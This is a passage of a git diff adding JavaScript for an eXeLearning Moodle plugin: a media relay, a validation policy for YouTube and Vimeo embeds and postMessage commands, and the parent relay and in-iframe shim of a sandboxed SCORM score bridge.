+        // (no .close()) so its 'close' listener does not fire a spurious 'closed' to the child.
+        destroyAdapter(session);
+        if (session.dialog) {
+            if (typeof session.dialog.remove === 'function') session.dialog.remove();
+            session.dialog = null;
+        }
+        var container = buildModal(session);
+        var callbacks = {
+            start: openOpts.start,
+            autoplay: openOpts.autoplay,
+            onReady: function (duration) {
+                sendEvent(session, { action: 'ready', duration: duration });
+                startPolling(session);
+            },
+            onPlay: function () { sendEvent(session, { action: 'play' }); },
+            onPause: function () { sendEvent(session, { action: 'pause' }); },
+            onEnded: function () { sendEvent(session, { action: 'ended' }); },
+            onSeeked: function (t) { sendEvent(session, { action: 'seeked', currentTime: t }); },
+            onError: function (code) { sendEvent(session, { action: 'error', code: String(code), fatal: true }); },
+        };
+        var factory =
+            provider === 'vimeo'
+                ? opts.vimeoFactory || vimeoRawAdapter
+                : opts.youtubeFactory || youtubeRawAdapter;
+        session.adapter = factory(container, videoId, callbacks);
+    }
+
+    function answerState(session, reqId, field) {
+        if (!session.adapter) return;
+        var value = field === 'duration' ? session.adapter.getDuration() : session.adapter.getCurrentTime();
+        Promise.resolve(value).then(function (v) {
+            var ev = { action: 'state', reqId: reqId };
+            ev[field === 'duration' ? 'duration' : 'currentTime'] = v;
+            sendEvent(session, ev);
+        });
+    }
+
+    function processCommand(session, data) {
+        if (!data || data.type !== TYPE || data.v !== VERSION) return;
+        if (data.exelearningBridge !== session.nonce) return; // nonce gate
+        if (!policy.COMMANDS[data.action]) return;
+
+        if (data.action === 'open') {
+            var url = policy.canonicalEmbedUrl(data.provider, data.videoId);
+            if (!url) {
+                sendEvent(session, { action: 'error', code: 'unsupported_provider', fatal: true });
+                return;
+            }
+            session.closed = false;
+            openMedia(session, data.provider, data.videoId, { start: data.start, autoplay: data.autoplay });
+            return;
+        }
+        if (!policy.validateCommand(data, session.nonce)) return;
+
+        var a = session.adapter;
+        switch (data.action) {
+            case 'play': if (a) a.play(); break;
+            case 'pause': if (a) a.pause(); break;
+            case 'seek': if (a) a.seek(data.t); break;
+            case 'getCurrentTime': answerState(session, data.reqId, 'currentTime'); break;
+            case 'getDuration': answerState(session, data.reqId, 'duration'); break;
+            case 'hide': hideModal(session); break;
+            case 'show': showModal(session); break;
+            case 'close': requestClose(session); break;
+            default: break;
+        }
+    }
+
+    // ---- Handshake + attachment -------------------------------------------------------
+
+    var records = [];
+
+    function teardown(session) {
+        if (!session) return;
+        destroyAdapter(session);
+        if (session.port1 && session.port1.close) session.port1.close();
+        if (session.dialog && session.dialog.remove) session.dialog.remove();
+    }
+
+    function handleHello(rec, data) {
+        var existing = rec.session;
+        if (existing && existing.helloId === data.helloId) return; // duplicate
+        if (existing) teardown(existing); // new helloId → re-pair
+
+        var nonce = genNonce(rec.opts);
+        var channel = makeChannel(rec.opts);
+        var session = {
+            iframe: rec.iframe,
+            opts: rec.opts,
+            nonce: nonce,
+            helloId: data.helloId,
+            port1: channel.port1,
+            adapter: null,
+            dialog: null,
+            pollTimer: null,
+            hiding: false,
+            closed: false,
+            interval: getInterval(rec.opts),
+        };
+        rec.session = session;
+
+        channel.port1.onmessage = function (e) {
+            processCommand(session, e.data);
+        };
+        if (typeof channel.port1.start === 'function') channel.port1.start();
+
+        rec.iframe.contentWindow.postMessage(
+            { type: TYPE, v: VERSION, action: 'welcome', helloId: data.helloId, exelearningBridge: nonce },
+            '*',
+            [channel.port2],
+        );
+    }
+
+    function onWindowMessage(rec, e) {
+        if (!rec.iframe || !rec.iframe.contentWindow || e.source !== rec.iframe.contentWindow) return;
+        if (policy.isHello(e.data)) handleHello(rec, e.data);
+    }
+
+    /**
+     * Register an iframe that renders eXeLearning content and start relaying its media.
+     * @returns {{detach: function}} handle
+     */
+    function attach(iframe, opts) {
+        opts = opts || {};
+        var win = opts.win || root;
+        var rec = { iframe: iframe, opts: opts, session: null, win: win, handler: null };
+        rec.handler = function (e) {
+            onWindowMessage(rec, e);
+        };
+        if (win.addEventListener) win.addEventListener('message', rec.handler);
+        records.push(rec);
+        return {
+            detach: function () {
+                if (win.removeEventListener) win.removeEventListener('message', rec.handler);
+                teardown(rec.session);
+                var i = records.indexOf(rec);
+                if (i >= 0) records.splice(i, 1);
+            },
+        };
+    }
+
+    function resetForTests() {
+        for (var i = 0; i < records.length; i++) {
+            var rec = records[i];
+            if (rec.win && rec.win.removeEventListener) rec.win.removeEventListener('message', rec.handler);
+            teardown(rec.session);
+        }
+        records = [];
+    }
+
+    root.exeMediaHost = {
+        attach: attach,
+        buildModal: buildModal,
+        _youtubeAdapter: youtubeRawAdapter,
+        _vimeoAdapter: vimeoRawAdapter,
+        _ytCommand: ytCommand,
+        _vimeoCommand: vimeoCommand,
+        _parseYtEvent: parseYtEvent,
+        _parseVimeoEvent: parseVimeoEvent,
+        _processCommand: processCommand,
+        _resetForTests: resetForTests,
+    };
+})(typeof window !== 'undefined' ? window : globalThis);
diff --git a/js/exe_media_policy.js b/js/exe_media_policy.js
new file mode 100644
index 0000000..34cf942
--- /dev/null
+++ b/js/exe_media_policy.js
@@ -0,0 +1,258 @@
+/**
+ * exe_media_policy — pure, framework-free policy for the external-media bridge.
+ *
+ * Single source of truth shared by:
+ *   - the child runtime (exe_media_bridge.js) that runs inside exported content, and
+ *   - the reference parent relay (exe-media-host.js) that runs in the trusted host page.
+ *
+ * Responsibilities (all pure — no DOM mutation, no postMessage):
+ *   - Detect and normalize supported external media (YouTube, Vimeo) into a neutral
+ *     descriptor; recognize PDFs for a deferred open-in-new-tab fallback.
+ *   - Rebuild canonical, privacy-friendly embed URLs from a bare provider id, so the
+ *     bridge never has to trust an attacker-supplied URL (kills redirect-laundering).
+ *   - Validate the versioned postMessage/MessageChannel contract (handshake, commands,
+ *     events) with a strict schema, a closed action enum and a provider allowlist.
+ *
+ * This file is a CLASSIC browser script (no ES module syntax) so it can be shipped
+ * verbatim inside exported packages and loaded over file:// — while still being
+ * importable (for its side effect) by the Vitest suite, which reads the global it sets.
+ *
+ * @license AGPL-3.0
+ */
+(function (root) {
+    'use strict';
+
+    var TYPE = 'exe-media';
+    var VERSION = 1;
+
+    // Bare-id shapes. YouTube ids are exactly 11 url-safe chars; Vimeo ids are numeric.
+    var ID_RE = {
+        youtube: /^[A-Za-z0-9_-]{11}$/,
+        vimeo: /^[0-9]{6,12}$/,
+    };
+
+    // Host allow-lists per provider. Anything else never matches a provider, so IPs,
+    // loopback, *.local and look-alike domains (evil.com/watch?v=...) cannot slip in.
+    var YOUTUBE_HOSTS = {
+        'youtube.com': 1,
+        'www.youtube.com': 1,
+        'm.youtube.com': 1,
+        'music.youtube.com': 1,
+        'youtube-nocookie.com': 1,
+        'www.youtube-nocookie.com': 1,
+    };
+    var YOUTU_BE_HOSTS = { 'youtu.be': 1, 'www.youtu.be': 1 };
+    var VIMEO_HOSTS = { 'vimeo.com': 1, 'www.vimeo.com': 1 };
+    var VIMEO_PLAYER_HOSTS = { 'player.vimeo.com': 1 };
+
+    // Closed action enums. Anything outside these is dropped before any work happens.
+    var COMMANDS = { open: 1, play: 1, pause: 1, seek: 1, getCurrentTime: 1, getDuration: 1, hide: 1, show: 1, close: 1 };
+    var EVENTS = { ready: 1, play: 1, pause: 1, ended: 1, timeupdate: 1, seeked: 1, state: 1, error: 1, closed: 1 };
+
+    function isObject(v) {
+        return v !== null && typeof v === 'object';
+    }
+
+    function finiteNonNeg(n) {
+        return typeof n === 'number' && isFinite(n) && n >= 0;
+    }
+
+    function isAllowedProvider(provider) {
+        return provider === 'youtube' || provider === 'vimeo';
+    }
+
+    function isValidVideoId(provider, id) {
+        var re = ID_RE[provider];
+        return !!re && typeof id === 'string' && re.test(id);
+    }
+
+    /**
+     * Build the canonical, privacy-friendly embed URL for a provider id. Returns null
+     * for unknown providers or ids that fail the provider's shape — so a malicious id
+     * can never be templated into a live URL.
+     */
+    function canonicalEmbedUrl(provider, id) {
+        if (provider === 'youtube' && isValidVideoId('youtube', id)) {
+            return 'https://www.youtube-nocookie.com/embed/' + id;
+        }
+        if (provider === 'vimeo' && isValidVideoId('vimeo', id)) {
+            return 'https://player.vimeo.com/video/' + id;
+        }
+        return null;
+    }
+
+    function firstPathSegment(pathname) {
+        var parts = pathname.split('/');
+        for (var i = 0; i < parts.length; i++) {
+            if (parts[i]) return parts[i];
+        }
+        return '';
+    }
+
+    function youtubeIdFromUrl(u) {
+        var host = u.hostname.toLowerCase();
+        if (YOUTU_BE_HOSTS[host]) {
+            return firstPathSegment(u.pathname);
+        }
+        if (YOUTUBE_HOSTS[host]) {
+            var v = u.searchParams.get('v');
+            if (v) return v;
+            var m = u.pathname.match(/^\/(?:embed|v|shorts)\/([^/?#]+)/);
+            if (m) return m[1];
+        }
+        return '';
+    }
+
+    function vimeoIdFromUrl(u) {
+        var host = u.hostname.toLowerCase();
+        if (VIMEO_PLAYER_HOSTS[host]) {
+            var m = u.pathname.match(/^\/video\/([0-9]+)/);
+            if (m) return m[1];
+        }
+        if (VIMEO_HOSTS[host]) {
+            return firstPathSegment(u.pathname);
+        }
+        return '';
+    }
+
+    function descriptor(provider, id, originalUrl, embedUrl, extra) {
+        var d = {
+            provider: provider,
+            providerVideoId: id,
+            originalUrl: originalUrl,
+            embedUrl: embedUrl,
+            aspectRatio: provider === 'pdf' ? undefined : '16:9',
+            interactive: false,
+            requiresBridge: provider !== 'pdf',
+        };
+        if (extra && extra.title) d.title = extra.title;
+        return d;
+    }
+
+    /**
+     * Normalize a URL string or an element (iframe/anchor) into a neutral media
+     * descriptor, or null when it is not a supported external embed.
+     */
+    function parseExternalMedia(input) {
+        var url = input;
+        var title;
+        if (input && typeof input.getAttribute === 'function') {
+            url = input.getAttribute('src') || input.getAttribute('href') || '';
+            title = input.getAttribute('title') || undefined;
+        }
+        if (typeof url !== 'string' || !url) return null;
+
+        var u;
+        try {
+            u = new URL(url);
+        } catch (e) {
+            return null;
+        }
+        // Reject userinfo (https://user@host/...) and non-web schemes outright.
+        if (u.username || u.password) return null;
+        if (u.protocol !== 'https:' && u.protocol !== 'http:') return null;
+
+        var ytId = youtubeIdFromUrl(u);
+        if (ytId) {
+            if (!isValidVideoId('youtube', ytId)) return null;
+            return descriptor('youtube', ytId, url, canonicalEmbedUrl('youtube', ytId), { title: title });
+        }
+
+        var vId = vimeoIdFromUrl(u);
+        if (vId) {
+            if (!isValidVideoId('vimeo', vId)) return null;
+            return descriptor('vimeo', vId, url, canonicalEmbedUrl('vimeo', vId), { title: title });
+        }
+
+        if (u.pathname.toLowerCase().slice(-4) === '.pdf') {
+            return descriptor('pdf', null, url, url, { title: title });
+        }
+
+        return null;
+    }
+
+    function hasEnvelope(d) {
+        return isObject(d) && d.type === TYPE && d.v === VERSION;
+    }
+
+    function isHello(d) {
+        return hasEnvelope(d) && d.action === 'hello' && typeof d.helloId === 'string' && d.helloId.length > 0;
+    }
+
+    function isWelcome(d) {
+        return (
+            hasEnvelope(d) &&
+            d.action === 'welcome' &&
+            typeof d.helloId === 'string' &&
+            typeof d.exelearningBridge === 'string' &&
+            d.exelearningBridge.length > 0
+        );
+    }
+
+    /**
+     * Validate a child→parent command. Defense in depth: envelope + a present, matching
+     * nonce (the `!!expectedNonce` guard prevents an absent expected nonce from ever
+     * authenticating a forged message) + closed action enum + per-action payload checks.
+     */
+    function validateCommand(d, expectedNonce) {
+        if (!hasEnvelope(d)) return false;
+        if (!expectedNonce) return false;
+        if (typeof d.exelearningBridge !== 'string' || d.exelearningBridge !== expectedNonce) return false;
+        if (!COMMANDS[d.action]) return false;
+        switch (d.action) {
+            case 'open':
+                return (
+                    Number.isInteger(d.reqId) &&
+                    isAllowedProvider(d.provider) &&
+                    isValidVideoId(d.provider, d.videoId) &&
+                    (d.start == null || finiteNonNeg(d.start))
+                );
+            case 'seek':
+                return finiteNonNeg(d.t);
+            case 'getCurrentTime':
+            case 'getDuration':
+                return Number.isInteger(d.reqId);
+            default:
+                return true; // play / pause / hide / show / close — no payload
+        }
+    }
+
+    /**
+     * Validate a parent→child event. Same envelope + closed enum + per-action payload.
+     */
+    function validateEvent(d) {
+        if (!hasEnvelope(d)) return false;
+        if (!EVENTS[d.action]) return false;
+        switch (d.action) {
+            case 'timeupdate':
+                return finiteNonNeg(d.currentTime) && finiteNonNeg(d.duration);
+            case 'seeked':
+                return finiteNonNeg(d.currentTime);
+            case 'state':
+                return Number.isInteger(d.reqId);
+            case 'ready':
+                return d.duration == null || finiteNonNeg(d.duration);
+            case 'error':
+                return typeof d.code === 'string' && typeof d.fatal === 'boolean';
+            default:
+                return true; // play / pause / ended / closed
+        }
+    }
+
+    var api = {
+        TYPE: TYPE,
+        VERSION: VERSION,
+        COMMANDS: COMMANDS,
+        EVENTS: EVENTS,
+        parseExternalMedia: parseExternalMedia,
+        canonicalEmbedUrl: canonicalEmbedUrl,
+        isAllowedProvider: isAllowedProvider,
+        isValidVideoId: isValidVideoId,
+        isHello: isHello,
+        isWelcome: isWelcome,
+        validateCommand: validateCommand,
+        validateEvent: validateEvent,
+    };
+
+    root.exeMediaPolicy = api;
+})(typeof window !== 'undefined' ? window : globalThis);
diff --git a/js/scorm_bridge_relay.js b/js/scorm_bridge_relay.js
new file mode 100644
index 0000000..c444a5a
--- /dev/null
+++ b/js/scorm_bridge_relay.js
@@ -0,0 +1,253 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * Parent-side SCORM bridge relay for the secure (opaque-origin) package mode.
+ *
+ * Injected inline by view.php (secure mode only) so its message listener is in place
+ * before the package iframe loads. It is the trusted half of the bridge: the iframe
+ * runs in an opaque origin and CANNOT reach this page, so the only thing it can do is
+ * postMessage buffered SCORM scores here. This relay validates every message and, for
+ * accepted ones, performs the authenticated track.php request (keeping the sesskey on
+ * this trusted side) plus a sendBeacon flush on pagehide.
+ *
+ * Validation (defence in depth — track.php re-validates and clamps server-side):
+ *   - event.source === iframe.contentWindow (window identity, the primary anchor:
+ *     no other window can forge it, and an opaque origin has no useful event.origin);
+ *   - type === 'scorm' and action in the closed list {ready, track};
+ *   - a per-view nonce on 'track' messages;
+ *   - the payload shape (cmi is an object).
+ * Unknown or invalid messages are ignored silently.
+ *
+ * Exposed two ways from a single body: window.exeScormBridge (browser bootstrap) and
+ * module.exports (Vitest). See research ADR DEC-0059.
+ */
+(function () {
+    'use strict';
+
+    /**
+     * Whether a payload is a child -> parent score message (shape only).
+     *
+     * @param {*} data The event.data value.
+     * @returns {boolean} True for {type:'scorm', action:'track', cmi:{...}}.
+     */
+    function isTrackMessage(data) {
+        return !!data && data.type === 'scorm' && data.action === 'track'
+            && !!data.cmi && typeof data.cmi === 'object';
+    }
+
+    /**
+     * Whether a payload is the child's readiness announcement.
+     *
+     * @param {*} data The event.data value.
+     * @returns {boolean} True for {type:'scorm', action:'ready'}.
+     */
+    function isReadyMessage(data) {
+        return !!data && data.type === 'scorm' && data.action === 'ready';
+    }
+
+    /**
+     * Whether a 'track' message should be accepted: correct shape AND matching nonce.
+     * Pure, so it can be unit-tested without a DOM. The caller is still responsible
+     * for the window-identity check (which cannot be expressed on data alone).
+     *
+     * @param {*} data The event.data value.
+     * @param {string} expectednonce The per-view nonce handed to the iframe.
+     * @returns {boolean} True when the message is a valid, authenticated track message.
+     */
+    function acceptTrack(data, expectednonce) {
+        // The !!expectednonce guard means an empty/undefined expected nonce can never
+        // authenticate: otherwise a forged message that simply omits the field would
+        // satisfy undefined === undefined and collapse the nonce factor.
+        return isTrackMessage(data) && !!expectednonce && data.exelearningBridge === expectednonce;
+    }
+
+    /**
+     * Create a relay bound to a config + (injectable) environment.
+     *
+     * @param {Object} config {iframeid, cmid, trackurl, session, nonce, blockedid,
+     *     disableTracking}.
+     * @param {Object} [deps] {document, window, fetch, sendBeacon} for testing.
+     * @returns {Object} {init, onMessage, flushBeacon, postTrack, acceptTrack}.
+     */
+    function createRelay(config, deps) {
+        config = config || {};
+        deps = deps || {};
+        var doc = deps.document || (typeof document !== 'undefined' ? document : null);
+        var win = deps.window || (typeof window !== 'undefined' ? window : null);
+        var fetchImpl = deps.fetch || (win && win.fetch ? win.fetch.bind(win) : null);
+        var beacon = deps.sendBeacon
+            || (win && win.navigator && win.navigator.sendBeacon
+                ? win.navigator.sendBeacon.bind(win.navigator) : null);
+
+        var iframeid = config.iframeid;
+        var trackurl = config.trackurl;
+        var cmid = config.cmid;
+        var session = config.session;
+        var nonce = config.nonce;
+        var blockedid = config.blockedid;
+        // xAPI-primary (DEC-0065): keep the bridge fully live (handshake, window.API,
+        // watchdog) but forward NO SCORM score, because the package is graded
+        // via xAPI. The decision lives here, on the trusted parent, not in the baked-in
+        // shim — so it holds even for a package whose shim predates this flag.
+        var disabletracking = config.disableTracking === true;
+        var watchdogms = config.watchdogms || 8000;
+        var gracems = config.gracems || 2500;
+        var latest = null;
+        var watchdog = null;
+        var sawready = false;
+
+        function iframe() { return doc ? doc.getElementById(iframeid) : null; }
+
+        // Watchdog: if the in-iframe shim never announces 'ready' (e.g. an opaque-origin
+        // iframe the environment cannot serve, like a PHP-WASM service-worker host that
+        // does not control opaque subframes, so the token URL falls through to a 404),
+        // reveal the "blocked by security configuration" notice instead of silently
+        // degrading to the weaker same-origin mode (DEC-0060).
+        function showBlocked() {
+            var b = (doc && blockedid) ? doc.getElementById(blockedid) : null;
+            if (b) { b.style.display = ''; }
+            var fr = iframe();
+            if (fr) { fr.style.display = 'none'; }
+        }
+        // Decide between two timing signals so the notice never sits behind a long blank
+        // wait. The iframe element fires 'load' even when its navigation ended in an error
+        // page (e.g. the 404 above), so once it has loaded we only grant a short grace for
+        // the shim to handshake; if 'load' never fires we still fall back to watchdogms.
+        function armBlockedTimer(ms) {
+            if (!win || !win.setTimeout) { return null; }
+            return win.setTimeout(function () { if (!sawready) { showBlocked(); } }, ms);
+        }
+        function startWatchdog() {
+            if (!win || !win.setTimeout || !blockedid) { return; }
+            watchdog = armBlockedTimer(watchdogms);
+            // Faster, load-driven path. The iframe may not be parsed yet when this relay
+            // runs inline (it is injected before the iframe element), so attach now if it
+            // exists, otherwise once the DOM is ready.
+            var onload = function () { if (!sawready) { armBlockedTimer(gracems); } };
+            var attach = function () {
+                var fr = iframe();
+                if (fr && fr.addEventListener) { fr.addEventListener('load', onload, false); return true; }
+                return false;
+            };
+            if (!attach() && doc && doc.addEventListener) {
+                doc.addEventListener('DOMContentLoaded', attach, false);
+            }
+        }
+        function clearWatchdog() {
+            sawready = true;
+            if (watchdog && win && win.clearTimeout) { win.clearTimeout(watchdog); watchdog = null; }
+        }
+
+        function buildBody(cmi, itemscores) {
+            // Mirror the legacy track.php payload, but identity (cmid in the query,
+            // sesskey, mode) lives on this trusted parent — only the CMI buffer and
+            // per-iDevice scores come from the iframe.
+            return JSON.stringify({
+                id: cmid,
+                session: session,
+                cmi: cmi,
+                itemscores: itemscores || {}
+            });
+        }
+
+        function postTrack(cmi, itemscores) {
+            var body = buildBody(cmi, itemscores);
+            latest = body;
+            if (!fetchImpl) { return; }
+            try {
+                fetchImpl(trackurl, {
+                    method: 'POST',
+                    headers: { 'Content-Type': 'application/json' },
+                    body: body,
+                    credentials: 'same-origin',
+                    keepalive: true
+                }).catch(function () { /* parent retries on the next commit / pagehide beacon. */ });
+            } catch (e) { /* ignore */ }
+        }
+
+        function flushBeacon() {
+            if (!latest || !beacon) { return; }
+            try { beacon(trackurl, new Blob([latest], { type: 'application/json' })); } catch (e) { /* ignore */ }
+        }
+
+        function onMessage(e) {
+            var fr = iframe();
+            // Window identity (primary anchor). The explicit contentWindow check rejects
+            // the degenerate null === null match if the frame is present but not navigable.
+            if (!fr || !fr.contentWindow || e.source !== fr.contentWindow) { return; }
+            var data = e.data;
+            if (isReadyMessage(data)) {
+                clearWatchdog();   // The iframe is alive; secure mode rendered.
+                try {
+                    fr.contentWindow.postMessage({
+                        type: 'scorm',
+                        action: 'config',
+                        nonce: nonce
+                    }, '*');
+                } catch (e2) { /* ignore */ }
+                return;
+            }
+            if (!acceptTrack(data, nonce)) { return; }              // type + action + nonce + shape.
+            // xAPI-primary: validate the message but suppress the SCORM POST. The shim
+            // cannot reach track.php itself (opaque origin, no sesskey), so this is the
+            // single authoritative drop point — no double grading with the xAPI channel.
+            if (disabletracking) { return; }
+            postTrack(data.cmi, data.itemscores);
+        }
+
+        function init() {
+            if (win && win.addEventListener) {
+                win.addEventListener('message', onMessage, false);
+                win.addEventListener('pagehide', flushBeacon, false);
+            }
+            startWatchdog();
+        }
+
+        return {
+            init: init,
+            onMessage: onMessage,
+            flushBeacon: flushBeacon,
+            postTrack: postTrack,
+            acceptTrack: acceptTrack,
+            startWatchdog: startWatchdog,
+            showBlocked: showBlocked
+        };
+    }
+
+    /**
+     * Bootstrap: create a relay from config and start listening.
+     *
+     * @param {Object} config See createRelay.
+     * @returns {Object} The relay instance.
+     */
+    function init(config) {
+        var relay = createRelay(config);
+        relay.init();
+        return relay;
+    }
+
+    var exp = {
+        isTrackMessage: isTrackMessage,
+        isReadyMessage: isReadyMessage,
+        acceptTrack: acceptTrack,
+        createRelay: createRelay,
+        init: init
+    };
+    // Test runner (Vitest/Node) consumes module.exports.
+    if (typeof module !== 'undefined' && module.exports) { module.exports = exp; }
+    // Browser bootstrap (view.php) consumes window.exeScormBridge.
+    if (typeof window !== 'undefined') { window.exeScormBridge = exp; }
+})();
diff --git a/js/scorm_bridge_shim.js b/js/scorm_bridge_shim.js
new file mode 100644
index 0000000..956b3e3
--- /dev/null
+++ b/js/scorm_bridge_shim.js
@@ -0,0 +1,245 @@
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+/**
+ * In-iframe SCORM bridge shim for the secure (opaque-origin) package mode.
+ *
+ * This script is baked into every extracted package (copied to libs/ and injected
+ * at the top of <head> by \mod_exelearning\local\scorm\scorm_injector) and runs
+ * INSIDE the package iframe. It self-activates only when the iframe is a sandboxed,
+ * opaque-origin document (secure mode, view.php drops allow-same-origin); in the
+ * legacy same-origin mode it stays dormant so eXeLearning's pipwerks walks up to
+ * the window.API hosted by the Moodle parent, exactly as before.
+ *
+ * When active it:
+ *   1. Installs an in-memory localStorage/sessionStorage polyfill, because an
+ *      opaque-origin document throws SecurityError on real web storage and several
+ *      shipped engine scripts (libs/exe_atools, exe_export.js, the checklist iDevice,
+ *      edicuatex) touch it. The polyfill keeps them working for the session.
+ *   2. Defines a local window.API (the SCORM 1.2 surface from js/scorm_tracker.js)
+ *      whose buffered scores are posted to the Moodle parent over postMessage instead
+ *      of being XHR'd here. The parent (js/scorm_bridge_relay.js) holds the sesskey
+ *      and performs the authenticated track.php request; this iframe never sees it.
+ *   3. Performs a handshake: it announces 'ready' and the parent replies with a nonce
+ *      that authenticates subsequent score messages. Teacher-mode visibility is NOT
+ *      handled here: the package hides teacher content by default and the host appends
+ *      ?exe-teacher=1 to the iframe src to reveal the selector (read from the package's
+ *      own location.search, which works even under the opaque origin).
+ *
+ * Exposed two ways from a single body: window.exeScormBridgeShim (browser, with an
+ * auto-boot that is a no-op outside an opaque sandbox) and module.exports (Vitest).
+ * See research ADR DEC-0059.
+ */
+(function () {
+    'use strict';
+
+    /**
+     * Build an in-memory Storage-like object (getItem/setItem/removeItem/clear/key
+     * + length), used to shadow the native web storage that throws in an opaque
+     * origin. Values are coerced to strings, matching the Storage contract.
+     *
+     * @returns {Object} A minimal in-memory Storage implementation.
+     */
+    function createMemoryStorage() {
+        var store = {};
+        var api = {
+            getItem: function (k) {
+                k = String(k);
+                return Object.prototype.hasOwnProperty.call(store, k) ? store[k] : null;
+            },
+            setItem: function (k, v) { store[String(k)] = String(v); },
+            removeItem: function (k) { delete store[String(k)]; },
+            clear: function () { store = {}; },
+            key: function (i) {
+                var keys = Object.keys(store);
+                return (i >= 0 && i < keys.length) ? keys[i] : null;
+            }
+        };
+        Object.defineProperty(api, 'length', { get: function () { return Object.keys(store).length; } });
+        return api;
+    }
+
+    /**
+     * Detect whether the current window is a sandboxed, opaque-origin document
+     * (secure mode). Opaque origins serialize to the string "null"; as a secondary
+     * probe, web storage access throws a SecurityError (ONLY that — a QuotaExceededError
+     * or a disabled-storage policy in a real same-origin iframe must not count). Either
+     * signal means "activate".
+     *
+     * @param {Window} win The window to test (default: the global window).
+     * @returns {boolean} True when running in an opaque sandbox.
+     */
+    function isSandboxedOpaque(win) {
+        win = win || (typeof window !== 'undefined' ? window : null);
+        if (!win) { return false; }
+        try {
+            if (win.origin === 'null' || (win.location && win.location.origin === 'null')) { return true; }
+        } catch (e) { return true; }
+        try {
+            var probe = '__exeprobe__';
+            win.localStorage.setItem(probe, '1');
+            win.localStorage.removeItem(probe);
+        } catch (e2) {
+            // Only an opaque origin denies web storage with a SecurityError. A
+            // QuotaExceededError (storage full) or a browser/policy that blocks first-party
+            // storage in a REAL same-origin iframe also throws here; treating those as
+            // "opaque" would activate the shim in legacy mode (where no parent relay listens),
+            // so buffered scores would post into a postMessage void and be silently lost.
+            return !!(e2 && e2.name === 'SecurityError');
+        }
+        return false;
+    }
+
+    /**
+     * Replace win.localStorage/win.sessionStorage with in-memory polyfills so package
+     * scripts that touch web storage do not throw in an opaque origin. Best effort:
+     * if the property cannot be redefined, content storage access may still throw, but
+     * grading (which never relies on web storage) is unaffected.
+     *
+     * @param {Window} win The window to patch.
+     */
+    function installStoragePolyfill(win) {
+        var names = ['localStorage', 'sessionStorage'];
+        for (var i = 0; i < names.length; i++) {
+            var name = names[i];
+            var mem = createMemoryStorage();
+            try {
+                Object.defineProperty(win, name, {
+                    configurable: true,
+                    get: (function (m) { return function () { return m; }; })(mem)
+                });
+            } catch (e) {
+                try { win[name] = mem; } catch (e2) { /* give up; see docblock. */ }
+            }
+        }
+    }
+
+    /**
+     * Whether a postMessage payload is a recognised parent -> child control message.
+     *
+     * @param {*} data The event.data value.
+     * @returns {boolean} True for a {type:'scorm', action:'config'|'ack'} message.
+     */
+    function isParentMessage(data) {
+        return !!data && data.type === 'scorm' && (data.action === 'config' || data.action === 'ack');
+    }
+
+    /**
+     * Wire the local window.API to the Moodle parent over postMessage. Requires
+     * win.exeScormTracker (js/scorm_tracker.js) to be loaded first.
+     *
+     * @param {Window} win The (opaque-origin) iframe window.
+     * @returns {Object|null} Handles for testing, or null if the tracker is missing.
+     */
+    function activate(win) {
+        var tracker = win.exeScormTracker;
+        if (!tracker) { return null; }
+
+        var parentwin = win.parent;
+        var nonce = null;
+        var ready = false;
+        var queue = [];
+
+        function postToParent(msg) {
+            try {
+                if (parentwin && parentwin.postMessage) { parentwin.postMessage(msg, '*'); }
+            } catch (e) { /* ignore */ }
+        }
+
+        // Bridge transport handed to the shared tracker: forward buffered scores to
+        // the parent. Identity (cmid, sesskey) lives in the parent; only the CMI
+        // buffer + per-iDevice scores cross the bridge, and track.php re-validates
+        // and clamps them server-side. Fire-and-forget; queued until the handshake
+        // delivers the nonce.
+        function transport(data) {
+            var msg = {
+                exelearningBridge: nonce,
+                type: 'scorm',
+                action: 'track',
+                cmi: data.cmi,
+                itemscores: data.itemscores
+            };
+            if (ready) { postToParent(msg); } else { queue.push(msg); }
+            return true;
+        }
+
+        var instance = tracker.createScormApi({
+            transport: transport,
+            // Resolve per-iDevice objectids from THIS document (same frame), not the
+            // parent's iframe element.
+            getScoringDocument: function () { return win.document; },
+            // No beforeunload flush here: postMessage is async and may not reach the
+            // parent during unload. The parent's pagehide sendBeacon (relay) is the
+            // reliable unload safety net instead.
+            bindUnload: false
+        });
+        win.API = instance.api;
+
+        function onMessage(e) {
+            if (e.source !== parentwin) { return; }   // Only trust the hosting Moodle frame.
+            var data = e.data;
+            if (!isParentMessage(data)) { return; }
+            if (data.action === 'config') {
+                nonce = data.nonce;
+                ready = true;
+                while (queue.length) {
+                    var m = queue.shift();
+                    m.exelearningBridge = nonce;
+                    postToParent(m);
+                }
+            }
+        }
+
+        if (win.addEventListener) { win.addEventListener('message', onMessage, false); }
+        // Announce readiness; the parent replies with the nonce.
+        postToParent({ exelearningBridge: null, type: 'scorm', action: 'ready' });
+
+        return {
+            api: instance.api,
+            transport: transport,
+            onMessage: onMessage
+        };
+    }
+
+    /**
+     * Boot the shim: activate only inside an opaque sandbox. No-op otherwise (legacy
+     * same-origin mode, or any non-sandboxed context such as the test runner).
+     *
+     * @param {Window} win The window to boot in (default: the global window).
+     * @returns {Object|null} The activate() handles when activated, else null.
+     */
+    function boot(win) {
+        win = win || (typeof window !== 'undefined' ? window : null);
+        if (!win || !isSandboxedOpaque(win)) { return null; }
+        installStoragePolyfill(win);
+        return activate(win);
+    }
+
+    var exp = {
+        createMemoryStorage: createMemoryStorage,
+        isSandboxedOpaque: isSandboxedOpaque,
+        installStoragePolyfill: installStoragePolyfill,
+        isParentMessage: isParentMessage,
+        activate: activate,
+        boot: boot
+    };
+    // Test runner (Vitest/Node) consumes module.exports.
